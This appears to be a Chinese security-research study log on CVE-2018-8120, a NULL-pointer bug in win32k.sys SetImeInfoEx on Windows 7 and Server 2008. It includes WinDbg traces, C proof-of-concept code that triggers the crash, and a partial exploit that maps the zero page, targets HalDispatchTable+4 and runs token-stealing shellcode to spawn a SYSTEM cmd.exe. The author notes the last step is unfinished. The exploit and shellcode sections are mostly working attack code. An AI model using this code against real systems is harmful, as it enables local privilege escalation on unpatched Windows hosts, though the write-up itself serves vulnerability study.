0x00:前言
对于HEVD靶场的调试告一段落,接下来尝试对一些真实的漏洞进行分析复现。参考:
0x02:背景
1. 漏洞描述
部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。
2. 受影响的版本
以下软件版本受到影响。未列出的版本要么超过其支持生命周期,要么不受影响。要确定软件版本或版本的支持生命周期,请查阅Microsoft支持生命周期。
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for Itanium-Based Systems ServicePack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for Itanium-Based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1
3. 漏洞编号
CVE-2018-8120
0x03:漏洞分析
首先在WinDBG中找到win32k.pdb。
kd> .reload /f win32k.sys
kd> lm
start end module name
83e09000 8421b000 nt (pdb symbols) c:\downstreamstore\ntkrpamp.pdb\684DA42A30CC450F81C535B4D18944B12\ntkrpamp.pdb
92190000 923dc000 win32k (pdb symbols) c:\downstreamstore\win32k.pdb\A03753B3B9274F8E848233154705E5C02\win32k.pdb
然后在IDA中将该PDB作为PDB导入。接着便可以在IDA中查看到函数名了。
接着在WinDbg中对该函数下断点,便于后续观察。
kd> bp win32k!SetImeInfoEx
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> bl
0 e Disable Clear 8e2e2239 0001 (0001)
1 e Disable Clear 921a0065 0001 (0001) win32k!SetImeInfoEx
可以看到,漏洞所在函数SetImeInfoEx()接收2个参数,漏洞的产生和参数1的结构体指针有关,下面跟踪一下参数1的来源。win32k!NtUserSetImeInfoEx() 系统服务函数调用了SetImeInfoEx()
_GetProcessWindowStation()返回当前进程的WindowStation内核对象, 当做参数1调用SetImeInfoEx()。以下是WindowStation内核对象的内存结构
kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
程序可以通过系统提供的接口CreateWindowStation()和SetProcessWindowStation(),新建一个新的WindowStation对象并和当前进程关联起来,值得注意的是,使用CreateWindowStation() 新建的WindowStation对象其偏移0×14位置的spklList字段的值默认是零。
根据SetImeInfoEx()函数的流程,当WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常。
接下来编程测试该漏洞是否能够触发蓝屏。
#include<Windows.h>
#include<stdio.h>
//NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall; //系统调用符号
mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用
call dword ptr[edx];
ret 4;
}
}
int main()
{
// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
// 和窗口当前进程关联起来
SetProcessWindowStation(hSta);
char buf[0x4];
memset(buf, 0x41, sizeof(buf));
// WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常
NtUserSetImeInfoEx((PVOID)&buf);
return 0;
}
可以看到这里eax为0,出现异常
kd> r
eax=00000000 ebx=9219ffd8 ecx=00000000 edx=41414141 esi=950d7ab0 edi=950d7c0c
eip=921a007c esp=950d7a8c ebp=950d7a90 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!SetImeInfoEx+0x17:
921a007c 395014 cmp dword ptr [eax+14h],edx ds:0023:00000014=????????
0x04:漏洞利用
由于SetImeInfoEx()没有正确的处理内存中的空指针对象, 普通应用程序可利用该漏洞以系统权限执行任意代码,下面将详细介绍如何在该漏洞现场实现任意代码执行。
已知漏洞产生的原因是零地址内存访问违例,如果在漏洞函数运行的进程中,零地址处的内存分页完成映射,则函数将继续执行。下面继续看看函数如果继续运行,会发生什么情况。
参数2是我们输入的缓冲区,而v4又是0地址偏移0x2C处的值。利用此处我们可以完成任意地址写任意数据,,则可以通过覆盖系统服务函数指针的方式, 实现任意代码执行。
因此我们当前的目标为:
-
申请0页内存
-
让0页内存地址偏移0x14处不为空
-
让0页内存地址0x1C处为某系统服务函数指针
-
调用函数时输入的值为我们的shellcode地址
但是,直到进行到这里时
win32k!SetImeInfoEx+0x31:
921a0096 83784800 cmp dword ptr [eax+48h],0
kd> r
eax=83f343fc ebx=9219ffd8 ecx=00000000 edx=00fa13de esi=8bc3bab0 edi=8bc3bc0c
eip=921a0096 esp=8bc3ba8c ebp=8bc3ba90 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
win32k!SetImeInfoEx+0x31:
921a0096 83784800 cmp dword ptr [eax+48h],0 ds:0023:83f34444=842430f6
v4被修改为目标覆盖内核函数指针,但是接下来缺又验证了v4+18*4除为0即进行覆盖写,在使用HalDispatchTable+0x4作为v4时,明显不可行。因此该方法不好用。
在最后,是利用BitMap来完成任意地址写的。明天来学习这个技术顺便再完成该EXP。附上今天没有完成,但尝试的代码。
#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
//申请0页内存
void getZeroMemory(){
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
}
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
}
printf("[+]Success to alloc zero page...\n");
}
__declspec(naked) VOID ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 找到_EPROCESS结构
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循环是为了获取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到进程活动链表
sub eax, 0xb8 // 链表遍历
cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
//获取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
CHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if (!strcmp(lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
DWORD32 GetHalOffset_4()
{
// ntkrnlpa.exe in kernel space base address
PVOID pNtkrnlpaBase = NtkrnlpaBase();
printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
// ntkrnlpa.exe in user space base address
HMODULE hUserSpaceBase = LoadLibrary(L"ntkrnlpa.exe");
// HalDispatchTable in user space address
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);
return (DWORD32)hal_4;
}
//NtUserSetImeInfoEx()系统服务函数未导出,需要自己在用户进程中调用该系统服务函数,以执行漏洞函数SetImeInfoEx()。
//其中SyscallIndex的计算,根据系统ShadowSSDT表导出序号计算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall; //系统调用符号
mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系统调用
call dword ptr[edx];
ret 4;
}
}
int main()
{
// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
// 和窗口当前进程关联起来
SetProcessWindowStation(hSta);
char buf[0x4];
*(PULONG)buf = (ULONG)&ShellCode;
//获取0页内存
getZeroMemory();
DWORD HalAddress = GetHalOffset_4();
//写入要覆盖的函数地址
*(DWORD*)(0x2C) = (DWORD)(HalAddress);
*(DWORD*)(0x14) = (DWORD)&ShellCode;
// WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常
NtUserSetImeInfoEx((PVOID)&buf);
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
DWORD interVal = 0;
NtQueryIntervalProfile(0x1337, &interVal);
printf("[+]Start to Create cmd...\n");
CreateCmd();
return 0;
}
0x05:明日计划
内核漏洞 bitMap任意地址写学习,完成该CVE的EXP